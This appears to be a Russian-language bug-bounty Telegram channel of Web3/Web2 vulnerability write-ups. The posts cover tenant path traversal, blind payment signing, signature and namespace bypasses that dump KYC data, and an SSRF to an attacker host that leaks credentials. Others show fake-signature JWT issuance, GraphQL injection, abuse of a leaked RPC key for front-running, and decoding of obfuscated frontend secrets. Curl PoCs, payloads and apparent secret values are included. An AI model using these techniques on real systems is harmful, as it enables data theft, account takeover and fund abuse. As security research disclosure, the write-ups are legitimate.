Пингискок
11 subscribers
2 photos
2 links
Здесь про баги, уязвимости и security-ресерч. Web2, Web3, Bug Bounty

https://rmrf.tips
Download Telegram
Channel created
В этом канале за основу возьму написание мини райтапов по интересным, на мой взгляд багам, котторые я находил на проектах или bugbounty.
Може кто-то почерпнет для себя что-то новое, а может и вспомнит какую-то технику.
А параллельно буду постить что душа пожелает.
🔥32
Получил файлы 133 компаний через квиз-платформу

Типичный web3.
После рекона вижу quiz.* с другим стеком и UI (сторонняя SaaS-платформа для квизов. httpx помогает сразу видеть что к чему).
Регнулся даже без подтверждения почты - попал сразу в полный дашборд. В разделе контента нашёл встроенный файловый менеджер. В DevTools (перестал к херам пользоваться дегенератским бурпом, но и к caido привыкнуть не могу) вижу:
GET /elfinder/connector?cmd=open&target=...
elFinder. При виде elFinder должен подняться пульс - у него CVE-шки сыплются каждый год (path traversal, RCE, file delete).
elFinder с параметром target:
target=flsproject_clientname1_s3_cHJvamVjdHMvcHJvZC9jbGllbnRuYW1l
Первое что бросается в глаза - конец строки. cHJvamVjdHMv... - выглядит как base64. Когда видишь непрозрачный идентификатор - всегда пробуй base64. В 80% случаев "хеши" в вебе это просто base64.
Декодирую хвост:
echo 'cHJvamVjdHMvcHJvZC9jbGllbnRuYW1l' | base64 -d
→ projects/prod/clientname

Окей, это путь в файловой системе. Причём структурированный: projects/prod/clientname. Дальше мозг автоматом задаёт вопрос — если мой тенант лежит в projects/prod/clientname, то что лежит в projects/prod/? Это же просто родительская директория. Там должны быть папки всех тенантов.
Кодирую projects/prod обратно в base64, подставляю volume ID из оригинального запроса:
echo -n 'projects/prod' | base64
cHJvamVjdHMvcHJvZA==

Подставляю в запрос вместо оригинального хеша. Ответ - 133 директории. Каждая - отдельная компания-клиент платформы.
Подтвердил: чтение файлов чужих тенантов, создание директории (сразу удалил), загрузку HTML который отдаётся CDN с text/html без CSP - stored XSS на легитимном домене в подарок.

Забавно что напрямую бакет закрыт и листинг директорий отдаёт AccessDenied. Проблема не в публичном бакете. elFinder работает как прокси - у него на сервере лежат креды к бакету, и когда ты дёргаешь /elfinder/connector?cmd=ls&target=..., он со своими кредами лезет в бакет и отдаёт тебе результат. Бакет настроен нормально, а вот elFinder имеет доступ ко ВСЕМУ бакету без ограничения по префиксу тенанта.
🔥52
Как 5.6 МБ JavaScript раскрыли скрытый бэкенд и подпись произвольных платежей
Аудит Web3-проекта с крипто-пресейлом. Фронтенд - React SPA за Cloudflare. Ни одного видимого API-эндпоинта. Казалось бы - нечего ломать.

React SPA отдаёт один index.html на любой путь. WordPress-поддомены закрыты Cloudflare. REST API отключён. Регистрация отключена. Живых эндпоинтов - ноль.

Но у Web3-проектов есть особенность: вся логика взаимодействия с блокчейном живёт на клиенте. Кошелёк подключается из браузера, адреса контрактов и RPC-вызовы формируются на фронте. Сервер не может это спрятать. Когда видишь пустую SPA-оболочку без единого API - это не тупик. Это приглашение читать бандлы.

Vite нарезал код на 10 чанков. Source maps недоступны (все .js.map возвращают HTML фронтенда - SPA catch-all). Только ручной разбор минифицированного кода.

app-[hash].js        434 KB   - бизнес-логика, роуты, платежи
main-[hash].js 576 KB - WalletConnect, UI
wallet-libs-[hash] 3.5 MB - кошельки, провайдеры, цепочки
crypto-libs-[hash] 637 KB - криптобиблиотеки


Ищу строки: https://, baseURL, fetch(, axios, endpoint. В чанке бизнес-логики нахожу базовый URL, который нигде не фигурировал - ни в DNS, ни в документации, ни в HTML. Бэкенд жил на полностью отдельном домене.

Один GET на /health подтвердил:

{"status":"ok","info":{"mongodb":{"status":"up"},"google":{"status":"up"}}}


CORS настроен правильно (только домен фронтенда), но GET-эндпоинты не требуют аутентификации - прямые curl-запросы работают.

Дальше - по всему JS-бандлу собираю пути, параметры, заголовки. Восстановил 17 эндпоинтов. Каждый проверил вручную - какие требуют авторизацию, какие нет, какие принимают пользовательский ввод и как его валидируют.
Большинство GET-эндпоинтов оказались открыты: финансовая конфигурация пресейла, баланс любого кошелька по адресу (IDOR), статистика стейкинг-пулов, валидация промокодов (перебор). Неприятно, но не критично.

Самый интересный - POST /wert.
Wert - фиатный шлюз. Пользователь платит картой, Wert выполняет on-chain транзакцию. Бэкенд подписывает параметры платежа, и эта подпись говорит Wert: «транзакция легитимна».

Эндпоинт /wert принимает POST с параметрами и возвращает подписанные данные. Проверяю - что если подменить адрес смарт-контракта?

# Отправляю произвольный:
curl -X POST https://<backend>/wert \
-H "Content-Type: application/json" \
-d '{"sc_address":"0x0000000000000000000000000000000000000001",
"sc_input_data":"0xdeadbeef",
"commodity_amount":100}'


Ответ: валидная подпись.

Подменяю sc_address на произвольный контракт - подписано. Подменяю sc_input_data на произвольные calldata - подписано. Ставлю commodity_amount = -1 - подписано. Ставлю 0 - тоже подписано.

Сервер подписывает всё. Нет валидации адреса, нет проверки calldata, нет ограничений на сумму. Если Wert доверяет подписи без собственной валидации - атакующий подменяет sc_address на свой контракт, получает подпись, инициирует платёж, и средства пользователя уходят не туда.

Бонус: RPC-ключ с debug-доступом к 5 блокчейнам

В том же бандле - API-ключ RPC-провайдера. Рабочий на 5 сетях (BSC, Ethereum, ETH Sepolia, Solana Mainnet, Solana Devnet) с premium-методами:

# debug_traceBlockByNumber - трассировка ВСЕХ транзакций блока
# (опкоды, стек, память, internal calls)
curl -X POST "https://<rpc>/$KEY" \
-d '{"method":"debug_traceBlockByNumber","params":["latest",{}]}'
# Получаю 200 OK

# txpool_status - мемпул
# {"pending":"0x2d","queued":"0x2ee"}


Debug + archive - premium-тариф. Вектор для MEV/фронтраннинга + нагрузка на платный план проекта.
🔥63
P.S. Утилиты и ход мыслей

Чем работал

katana - краулинг с --js-crawl. Собрал все 10 JS-чанков и показал структуру бандлов.

grep/jq - парсинг минифицированного JS. Искал https://, fetch(, baseURL, endpoint, apiKey.
## Почему сразу в JS

SPA отдаёт 200 на любой путь - фаззинг директорий бесполезен. Серверных эндпоинтов не видно. Классическая разведка (краулинг, брутфорс путей) ничего не даёт.

Но Web3-проект не может спрятать логику на клиенте - это архитектурное ограничение. Значит единственный путь — читать бандлы. Source maps попробовал первым делом - .js.map отдавали HTML (SPA catch-all). Пришлось вручную.

Почему сразу к /wert

Из 17 эндпоинтов большинство - информационные GET. Интересны те, которые что-то делают: принимают POST и меняют состояние.

/wert сразу выделился, потому что принимает параметры платежа - возвращает криптографическую подпись - подпись идёт в платёжный шлюз. Первый вопрос: "а что он подпишет, если подменить адрес контракта?". Подписал всё без единой проверки.

Что не сработало
- Фаззинг путей - SPA отдаёт 200 на всё, бессмысленно
- SQLi - MongoDB на бэкенде, нет точек ввода в SQL
- XSS - формы отключены, комментарии закрыты, поиск HTML-энкодит
- Source maps - все .js.map отдают SPA catch-all

Получается что подтверждение того, что стандартные вектора закрыты, сужает фокус на логические баги - где и нашлась главная находка.
🔥43
862K записей из "защищённой" блокчейн-платформы одним curl

Web3-платформа децентрализованной идентификации. KYC-данные (паспорта, документы, верификация личности), кошельки, credentials. Кастомный движок на Go с SQL-подобным языком запросов, API через JSON-RPC. "Блокчейн, тут всё подписано" - поэтому багу никто не нашёл, или нашёл и долго "сидел" на ней.

Вызов rpc.discover (стандарт OpenRPC - аналог Swagger для JSON-RPC) отдаёт полную схему API: 33 метода с параметрами и типами. Среди них user.query (произвольный SQL) и user.authenticated_query (SQL с аутентификацией). Всегда стоит проверять discovery-эндпоинты - rpc.discover, Swagger, GraphQL introspection - разработчики часто забывают закрыть их на проде, а это по сути полная карта всего API.

Первая стена

user.query на проде возвращает: "adhoc query not allowed". Прямой путь закрыт - но есть второй метод.

Auth bypass

user.authenticated_query принимает:
- Challenge - одноразовый токен (получаем бесплатно через user.challenge, без каких-либо проверок)
- auth_type - тип криптографической подписи
- Statement - сам SQL-запрос к базе
- sender - публичный ключ отправителя
- signature - подпись запроса приватным ключом

Выглядит серьёзно: challenge-response протокол, подпись secp256k1 - стандарт, который используют Bitcoin и Ethereum.

Но из опыта, в Web3-проектах часто поддерживают несколько auth_type (eip712, secp256k1, ed25519, NEAR), а реально валидируют подпись только для одного-двух. Остальные - заглушки или недописанная логика. Пробую отправить заведомо невалидные данные:

auth_type: "secp256k1"
sender: любой pubkey (33 байта hex, префикс 02 или 03)
signature: "deadbeef" - четыре произвольных байта вместо настоящей подписи


Ответ: "user does not have privilege SELECT on namespace main"

Это не "invalid signature". Сервер не сказал "подпись неверна" - он сказал "у тебя нет прав". Разница принципиальна: это ошибка авторизации (AuthZ - проверка прав), а не аутентификации (AuthN - проверка личности). Значит, подпись deadbeef принята как валидная и этап проверки личности пройден.

Дальше - больше: пустая подпись и даже пустой auth_type тоже проходят. Verify() просто не вызывается - поле signature десериализуется и игнорируется. Аутентификация не функциональна ни для одного auth_type. Вероятная причина: метод задуман для внутренних вызовов между нодами, где подпись проверяется на уровне gateway, но оказался доступен снаружи напрямую.

Поэтому если видишь "нет прав" вместо "неверная подпись" - AuthN скорее всего пройдена и осталось обойти AuthZ.

Namespace bypass

Итак, мы аутентифицированы, но нет прав на namespace main. Здесь нужно понимать специфику движка: Kwil DB использует язык Kuneiform, в котором есть концепция пространств имён (namespaces) - изолированные контексты с собственными правами доступа. Запрос можно выполнить в контексте конкретного namespace, указав его перед SQL:

{idos} SELECT count(*) FROM main.users -- 151218


Сработало. Root cause - классическая ошибка TOCTOU (Time of Check / Time of Use), момент проверки прав и момент обращения к данным разнесены по логике:

1. Сервер проверяет: есть ли у namespace {idos} право на SELECT? - да
2. Сервер выполняет запрос и резолвит таблицу по полному имени main.users - из другого namespace
3. Повторной проверки прав на main уже не происходит

Привилегия проверяется по контексту запроса, а таблица берётся по явному указанию - и между этими двумя этапами нет сквозной проверки.

Перебрал {main}, {idos}, {default}, {test}, {admin}, {public}, {kwild} - из семи вариантов сработал один. {idos} - это namespace самого приложения, развёрнутого на блокчейне, и у него оказались права на чтение, которых не было у нас напрямую.


Результат

main.users             -- 151218
main.wallets -- 198329
main.credentials -- 253450
main.access_grants -- 129455
main.shared_credentials -- 130313


Цепочка из двух багов: auth bypass (подпись не валидируется ни для одного auth_type) + namespace bypass (TOCTOU в проверке привилегий) = полное чтение продакшен-базы одним запросом.
🔥4
А можно было отдать просто auth bypass и этим ограничиться...
😁2
SSRF бесполезная бага. Казалось бы...

SSRF - утечка credentials через proxy-эндпоинт

Уязвимый endpoint такой:

POST https://explorer.example.com/api/proxy

Что происходит?

Blockchain explorer на Next.js проксирует запросы к внешнему API аналитики. На бэкенде формируется URL вида:
https://node-lite.webapi.analytics.io{path}

Параметр path берётся напрямую из JSON body без валидации. Символ @ в URL позволяет провернуть классический URL parsing confusion (userinfo@newhost):

https://node-lite.webapi.analytics.io@ATTACKER.com/capture


URL-парсер считает всё до @ логином, а ATTACKER.com реальным хостом.

Что утекло

Сервер при каждом проксируемом запросе автоматически прикрепляет заголовок:
Authorization: Basic <base64_credentials>

PoC

curl -sk -X POST "https://explorer.example.com/api/proxy" \
-H "Content-Type: application/json" \
-d '{"path":"@<collaborator>/ssrf-capture","data":{}}'
🔥4
CERTIK это конечно очень важно и нужно. А что с вебом делать то будем?

Как ДОЛЖНА работать Web3 аутентификация

Нормальный flow аутентификации через кошелёк:

1. Клиент серверу: "Хочу войти, мой адрес 0xАБВ"
2. Сервер клиенту: "Подпиши этот уникальный nonce: a7f3b2..."
3. Клиент подписывает nonce приватным ключом в MetaMask
4. Клиент серверу: "Вот подпись: 0x8e3f..."
5. Сервер проверяет подпись через ecrecover - совпадает ли она с адресом 0xАБВ
6. Только после проверки - выдаёт JWT

Смысл в том, что приватный ключ есть только у владельца кошелька. Без подписи доказать владение адресом невозможно.

Как это работает у исследуемого проекта

1. Клиент серверу: "Мой адрес 0xАБВ"
2. Сервер: "Ок, держи JWT" - всё, конец

Шаги 2-5 просто отсутствуют. Сервер верит на слово.

Более того, endpoint /api/auth/verify который по названию должен проверять подпись - принимает параметры signature и nonce, но полностью их игнорирует:

# Фейковая подпись "FAKE" - принимается
curl -sk -X POST 'https://example.com/api/auth/verify' \
-H 'Content-Type: application/json' \
-d '{"wallet_address":"0x.....","signature":"FAKE","nonce":"FAKE"}'

# Ответ: 200 OK + валидный JWT


Почему это критично

Ethereum адрес - публичная информация. Любой адрес можно посмотреть на etherscan.io. Это как логин без пароля. Зная адрес кошелька пользователя, атакующий:

1. Отправляет один POST запрос с этим адресом
2. Получает JWT токен
3. С этим токеном читает /api/user - а там в ответе прилетают password_hash, two_fa_code, reset_token
4. Полный захват аккаунта

Почему это работает (вероятная причина)

Скорее всего, разработчики:
- Написали auth endpoints как заглушки с планом "потом добавим проверку подписи"
- Использовали catch-all route (/api/auth/[...slug]) в Next.js, который на любой POST с wallet_address создаёт/находит пользователя и выдаёт JWT
- Функция ecrecover или verifyMessage либо не вызывается, либо её результат не проверяется перед выдачей токена
- Все 8 auth endpoints проходят через один и тот же handler, который сразу делает jwt.sign({userId: user.id}) без проверки

В клиентском JS видно, что фронтенд всё делает правильно - вызывает MetaMask, получает подпись, отправляет её. Но бэкенд эту подпись не проверяет.

С учетом того что у проекта есть свой токен - становится не сложным поиск адресов всех холдеров/пользователей этого проекта.
🔥4
GraphQL Injection через строковую интерполяцию

Проект - bridge для перевода токенов между L1 и L2. Фронтенд обращается к The Graph для чтения данных о трансферах. Исходный код нашли через source maps, оставленные в production (2159 файлов).

Что в коде

Файл queries.ts содержал функции с прямой подстановкой пользовательского ввода в тело GraphQL-запроса через template literals:

const query = `
{
transferSents(
where: {
recipient: "${recipient}",
transactionHash: "${txHash}",
}
) { id transferId amount ... }
}
`


Точно как SQL Injection, только для GraphQL.

Как работает

Нормальный подход - переменные передаются отдельно от запроса, и парсер никогда не интерпретирует их как синтаксис. А тут строка склеивается с данными напрямую.

Если атакующий подставит вместо адреса:
"} ) { id } transferSents(where: { amount_gt: "0

Он закрывает оригинальный блок where и вставляет свой запрос с другими условиями.

Что можно извлечь

Subgraph содержит данные обо всех трансферах всех пользователей: адреса, суммы, цепочки, хеши, статусы, fee, bonder. Без инъекции видишь только свои трансферы. С инъекцией - чужие.

Почему .toLowerCase() не спасает

Это нормализация адресов, не экранирование. Символы ", }, {, (, ) не затрагиваются.

Три уязвимых функции

fetchTransferSents - recipient, txHash
fetchTransferFromL1Completeds - recipient, amount, deadline
fetchWithdrawalBondedsByTransferId - transferId

Запросы уходят из браузера напрямую (нет backend-прокси). Атакующий перехватывает запрос через DevTools/proxy и подменяет параметры. Или подставляет вредоносные значения через URL-параметры.

Да, веб3 - это будущее, кричали несколько лет назад. Но тут еще веб 2 не защищен, а вы уже доверяете ему бабками управлять. Веб3 дырявая шляпа и самые интересные баги этого канала скорее всего будут оттуда.
🔥4
This media is not supported in your browser
VIEW IN TELEGRAM
MEV за чужой счет: Как публичные RPC-ключи превращают юзеров в сэндвичи

Web3-проекты любят хардкодить RPC-ключи в фронтенд. Разработчики думают: «Мы просто читаем балансы из блокчейна, кому нужен наш ключ?». На деле они дарят MEV-ботам и снайперам идеальный, а главное - бесплатный инструмент для фронтраннинга своих же пользователей.

Вектор атаки: Мемпул как на ладони

Открываем рандомный DEX. В минифицированном JS достаем публичный ключ от премиум-ноды проекта. Делаем один curl запрос прямо к провайдеру:

curl -s 'https://rpc.provider.com/v1?chainId=eip155:1&projectId=LEAKED_PROJECT_ID' \
-X POST -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"txpool_content","params":[],"id":1}'


В ответ мы получаем не просто статус, а весь txpool - «зал ожидания» блокчейна. Тысячи pending транзакций, которые юзеры уже подписали, но валидаторы еще не включили в блок. Доступ к этому тяжелому методу без rate-лимитов - это прямой канал данных для мониторинга рынка в реальном времени.

Анатомия сэндвич-атаки (Sandwich & Frontrun)

Имея на руках txpool_content с чужой премиум-ноды, атакующий (или скрипт) видит действия юзеров *до* их фактического исполнения. Дальше начинается стрижка:

1. Снайпинг: Бот парсит ответ ноды и декодирует calldata смарт-контрактов. Он ищет жирный свап. Например, кто-то хочет купить токен X на крупную сумму, что неминуемо сдвинет кривую цены в пуле ликвидности.
2. Frontrun (Первый кусок хлеба): Бот мгновенно формирует свою транзакцию на покупку этого же токена X. Чтобы обогнать жертву, он выставляет maxPriorityFeePerGas (чаевые валидатору) чуть выше.
3. Памп: Транзакция бота попадает в блок первой. Резервы пула меняются, цена токена летит вверх.
4. Мясцо (Жертва): Следом исполняется огромная транзакция обычного юзера. Из-за искусственного сдвига цены он покупает токен по завышенному курсу. Его спасает только slippage tolerance (допуск на проскальзывание), но бот заранее просчитывает математику пула и выжимает этот допуск до самого предела. Юзер толкает цену еще выше.
5. Backrun (Второй кусок хлеба): Бот тут же продает купленные токены обратно в пул *в том же самом блоке* сразу после жертвы, фиксируя безрисковую прибыль.

Прибыль генерируется из воздуха просто за счет проскальзывания обычных юзеров. На Ethereum mainnet это работает напрямую через сборщиков блоков (Flashbots/Builders). На L2-сетях (Optimism, Arbitrum) секвенсоры работают по принципу FIFO (кто первый встал, того и тапки). И вот тут скорость премиум-RPC, за который платит сам проект, дает боту решающее тайминговое преимущество перед конкурентами.

Импакт: Эксплойты за ваш счет

Атакующий не только читает мемпул. На этом же ключе в 90% случаев открыт метод eth_sendRawTransaction.

То есть эксплойты, фронтран и сэндвичи льются прямо через инфраструктуру атакуемого проекта. Защита по HTTP Origin обходится одним фейковым заголовком в запросе.

Billing abuse: Проект сам оплачивает гигантские счета за премиум-методы (типа debug_traceBlockByNumber для трассировки опкодов), которыми его же юзеров технично бреют на бабки.

Да, нужно чтобы боты высчитывали оптимальный газ и slippage жертвы для идеального сэндвича на уровне математики пулов (x * y = k). Но думаю это меньшая из проблем.

Проект tier1 и является ведущим протоколом децентрализованной биржи на блокчейнах L2 экосистемы Ethereum. Протокол развёрнут на 12+ блокчейн-сетях, совокупный объём заблокированных средств (TVL) превышает $600 млн. Ежедневный объём торгов составляет десятки миллионов долларов. Протокол неоднократно проходил аудиты безопасности смарт-контрактов у ведущих аудиторских компаний отрасли и сидит на багбаунти в Immunefi. Является системообразующим элементом ликвидности для двух крупнейших L2-сетей.

Это одна из самых частых баг встречающихся при тестировании Web3 проектов. Вот вам и крипта)
🔥2
Обфускация на стероидах: Как base64+reverse в JS бандле "защищает" 24 секрета DeFi протокола

Пишу пока что про Web3, потому что там сейчас примерно так же как в Web2 было в 2015-м. Web3-проекты усвоили (не все), что хранить API-ключи в REACT_APP_ переменных плохо - их видно в бандле через Ctrl+F. Решение? Обфускация. Но не нормальная серверная архитектура, а base64(reverse(key)) прямо в клиентском JavaScript. Security through obscurity, 2026 год.

Как это устроено

Открываем сайт одного крупного DeFi-протокола, тянем бандл на 3.7 мегабайта. Внутри находим любопытную структуру - таблицу KQ и функцию vi():

var KQ = {
"QVJUQV9TRVJWRVJEX1BQUF9UQ0FFUg==": "bXlfZmFrZV9zZWNyZXRfdmFsdWVfMTIz",
"SVFLX1JFVFNBTUZBWV9RUEFUX0RDQUVS": "YW5vdGhlcl9mYWtlX3NlY3JldF92YWx1ZQ==",
// ... ещё 22 пары
}

vi = e => {
const t = btoa(e.split("").reverse().join("")),
a = KQ[t] || "";
return a ? atob(a).split("").reverse().join("") : ""
}


Алгоритм: берём имя переменной REACT_APP_CLIENT_TOTP_SECRET, переворачиваем строку задом наперёд, кодируем в base64 - получаем ключ для поиска в таблице. Значение декодируем обратно: base64 decode + reverse. Всё. Весь алгоритм восстанавливается за 30 секунд чтения кода.

Деобфускация

curl -s "https://www.vrother.xyz/assets/index-Rn7kQ-Wp.js" -o bundle.js

python3 -c "
import re, base64
with open('bundle.js') as f: content = f.read()
match = re.search(r'var KQ=\{([^}]+)\}', content)
pairs = re.findall(r'\"([A-Za-z0-9+/=]+)\":\"([A-Za-z0-9+/=]*)\"', match.group(1))
for k, v in pairs:
dk = base64.b64decode(k).decode()[::-1]
dv = base64.b64decode(v).decode()[::-1] if v else ''
print(f'{dk} = {dv}')
"


Три секунды - и 24 секрета на ладони.

Что внутри таблицы

Тут начинается самое интересное. Это не просто Infura ключи для чтения блоков. Это ключи, которые позволяют ТРАТИТЬ ДЕНЬГИ протокола:

REACT_APP_CLIENT_TOTP_SECRET  = ULTRA_PRIVATE_MASTER_SECRET_ACCESS_KEY
REACT_APP_PAYMASTER_KEY_10 = mPxqzL4kR.7a3b1092-f4e5-4812-b037-93c5e7aa1847 (Optimism)
REACT_APP_PAYMASTER_KEY_42161 = N5wr-7Yv3.c1f88b24-3d90-4721-e158-84b6f9bb2356 (Arbitrum)
REACT_APP_PAYMASTER_KEY_8453 = J9tDvBnWq.8e6c3f51-7a12-4390-d274-51c8e0cc4719 (Base)
REACT_APP_PAYMASTER_KEY_1 = XHnkPwMsT.4d71a609-b835-4056-f391-62d7a1ee5803 (Mainnet)
REACT_APP_UNIVERSAL_ACC = ghp_Xt7mNp2QsRvKdYwZ3j8HgBcL4eA5f (GitHub PAT)
REACT_APP_BICONOMY_BUNDLER = fR312Kkjm.WQ5ynpBx-zLmr-89sf-jN2K-47TRq85n29Dp
REACT_APP_MEE_KEY = mee_7Yp4NR9bsKj38X2muqEvFzD6HT
REACT_APP_ONRAMPER_KEY = pk_prod_08KXZRB4NM2WP35V7THQDCJ9YF
REACT_APP_INFURA_PROJECT_ID = 3a82f1c045d7b92e6f510c84ab37d91f
... и ещё 14 ключей


Что такое Paymaster и почему это больно

EIP-4337 Account Abstraction позволяет делать gasless транзакции - за газ платит не пользователь, а Paymaster. Протокол депозитит ETH на контракт Paymaster, и когда пользователь совершает действие, Paymaster покрывает газ из этого депозита. Управление - через API-ключи Biconomy. Вот эти ключи лежат в клиентском JS.

Атакующий берёт Paymaster ключ для Optimism, формирует UserOperation через Biconomy SDK и спонсирует газ для ЛЮБЫХ своих транзакций за счёт протокола. Свопы, минты, переводы - всё оплачивает протокол из своего Paymaster депозита. По сути это кредитная карта протокола, номер которой опубликован в открытом доступе. Я проверил - Infura ключ активен прямо сейчас. Paymaster ключи структурно валидны (формат Biconomy prefix.uuid). GitHub PAT только отозван (401). Но остальные 23 секрета живы.

Итого: протокол сам публикует ключи от своей инфраструктуры, сам подписывает чужие транзакции и сам за них платит. Самостоятельный самодостаточный бизнес.

Целевой протокол - крупный DeFi-проект с паримутуальными ставками, TVL и ежедневным объёмом в миллионах долларов. Развёрнут на Optimism, Arbitrum, Base и Mainnet. И ключи от газовой инфраструктуры на всех четырёх сетях лежат в одном JS-файле за одним curl.
🔥2
Так, начинаю серию статей про JWT

Это будет настолько глубоко, насколько хватило моих мозгов разобраться.
Каждая статья чуть больше чем пост в телеграме, поэтому выходить они будут на отдельном ресурсе.
В канал тоже буду постить что-то интересное.

Первые статьи уже тут: rmrf.tips
🔥6